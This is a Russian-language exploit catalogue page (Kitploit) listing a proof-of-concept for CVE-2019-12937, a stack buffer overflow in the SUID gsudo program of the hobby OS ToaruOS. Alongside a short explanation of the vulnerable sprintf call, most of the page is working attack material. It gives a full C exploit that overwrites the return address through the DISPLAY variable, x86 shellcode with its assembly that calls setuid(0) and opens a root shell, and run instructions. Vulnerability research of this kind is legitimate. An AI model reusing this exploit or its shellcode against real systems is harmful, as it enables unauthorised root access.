Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-12937-ToaruOS — Эксплойт-доказательство концепции для CVE-2019-12937, переполнение буфера в SUID-бинарнике gsudo из ToaruOS, позволяющее локальное повышение привилегий до root через манипулирование переменной окружения DISPLAY. | Kitploit
Инструменты/GitHubGitHub/akashicyitai/cve-2019-12937-toaruos
Повышение привилегийАнализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubakashicyitai/cve-2019-12937-toaruos

CVE-2019-12937-ToaruOS

Эксплойт-доказательство концепции для CVE-2019-12937, переполнение буфера в SUID-бинарнике gsudo из ToaruOS, позволяющее локальное повышение привилегий до root через манипулирование переменной окружения DISPLAY.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 лет назадЕщё не проверено

CVE-2019-12937

ToaruOS — это операционная система с открытым исходным кодом, написанная на языке C, любительская ОС, разработанная студентом бакалавриата по компьютерным наукам из Университета Иллинойса. ToAruOS работает на архитектурах POSIX и x86. Основные функции ToAruOS включают поддержку процессов и потоков, поддержку бинарных файлов ELF, загружаемые модули времени выполнения, поддержку каналов (Pipe) и различных типов терминальных устройств (TTY), поддержку виртуальной файловой системы, поддержку файловой системы EXT2, поддержку семафоров и т.д.

В версиях ToaruOS до 1.10.9 включительно в файле apps/gsudo.c утилиты gsudo обнаружена уязвимость переполнения буфера. Злоумышленник может использовать переменную окружения DISPLAY для повышения привилегий до root.

Ссылка на проект ToaruOS 1.10.9

Способ атаки

Скопируйте файл poc.c в систему ToaruOS и выполните в каталоге копирования

root@kitploit:~
gcc -o poc poc.c
./poc

Место срабатывания уязвимости

В функции pex_connect используется sprintf для конкатенации строк, но не проверяется длина параметра target. Если target слишком длинный, происходит переполнение стека.

root@kitploit:~
FILE * pex_connect(char * target) {
    char tmp[100];
    sprintf(tmp, "/dev/pex/%s", target);
    FILE * out = fopen(tmp, "r+");
    if (out) {
        setbuf(out, NULL);
    }
    return out;
}

Здесь параметр target — это значение переменной окружения DISPLAY.

root@kitploit:~
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
    server_name = "compositor";
}
FILE * c = pex_connect(server_name);

if (!c) {
    return NULL; /* Connection failed. */
}
......
......
}

Программа gsudo вызывает функцию yutani_init. gsudo — это программа с SUID-битом, поэтому при выполнении gsudo она работает с привилегиями root, что позволяет использовать переполнение для повышения привилегий.

root@kitploit:~
int main(int argc, char ** argv) {

    if (argc < 2) {
            return 1;
    }

    yctx = yutani_init();
....
....
}

SUID

Программы с SUID-битом создают разрешения s и t, чтобы обычные пользователи могли временно получить права владельца программы при её выполнении.

Ниже проверяется процесс выполнения SUID-программы.

root@kitploit:~
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
	int res;
	res = setuid(0);
	printf("%d\n",res);
	system("/bin/sh");
}

Функция setuid устанавливает идентификатор текущего пользователя. Когда параметр равен 0, текущему процессу назначается root. После вызова setuid выполняется программа оболочки, и наблюдается текущий пользователь.

root@kitploit:~
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic: 
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid 
0
# whoami
root
# exit

В ToaruOS после завершения загрузки системы все программы загружаются через fork и exec_elf, при этом права программы наследуются от родительского процесса. Если программа имеет setuid-бит, права процесса устанавливаются равными правам владельца файла.

Эксплуатация уязвимости

Переполнение происходит в программе с SUID-битом, поэтому с помощью переполнения стека можно выполнить повышение привилегий.

В ToaruOS нет защиты по рандомизации стека, рандомизации кучи, запрета выполнения на стеке и т.д., что делает эксплуатацию довольно простой, но отсутствие таких отладчиков, как gdb, всё же требует некоторых усилий.

С помощью переполнения стека управляем eip и перенаправляем его на адрес нашего полезного payload для повышения привилегий. Код можно выполнять прямо на стеке, адрес стека фиксирован. Мы помещаем payload на стек через переменную environ. Адреса argv и environ выводятся напрямую.

root@kitploit:~
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
	printf("argv:%x\t\t\n",argv);
	printf("environ:%x\t\n",env);
	return 0;
}

Результат

root@kitploit:~
argv:		3f00c00c
environ:	3f022010

Устанавливаем значение переменной окружения, управляем eip так, чтобы он указывал между argv и environ. Адрес eip не должен содержать символ \x00, обходим это заполнением Nop-инструкциями.

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define EIP          "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U

char shellcode[] = {
  0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
  0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
  0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
  0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
  0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;

int main(void)
{
	char payload[65536];
	char vector[8192]   = "DISPLAY=Akashic";
	char * const arg[3] = { "/bin/gsudo", "meh", NULL };
	char * const env[3] = { payload, vector, NULL };

	memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
	payload[sizeof(payload) - shellcode_length - 1] = 0;
	strcat(payload, shellcode);

	for (unsigned int i = 0; i < EIP_DISTANCE; i++)
		strcat(vector, EIP);

	execve("/bin/gsudo", arg, env);

	perror("execve()");
	exit(EXIT_FAILURE);
}

payload

Сначала в payload выполняется setuid(0) для установки привилегий текущего процесса, затем выполняется system(/bin/shh) для получения оболочки. В ToaruOS системные функции вызываются через int 0x7f. Номера системных вызовов находятся в syscall_nums.h, setuid соответствует 24, system — 7.

root@kitploit:~
    xor eax, eax
    add al, 24
    xor ebx, ebx
    int 0x7f
    jmp short end
start:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    add al, 7
    lea ecx, [ebx+8]
    lea edx, [ebx+12]
    int 0x7f
    xor eax, eax
    int 0x7f
end:
    call start
db "/bin/shh"
db "XXXXXXXX"
Скачать инструмент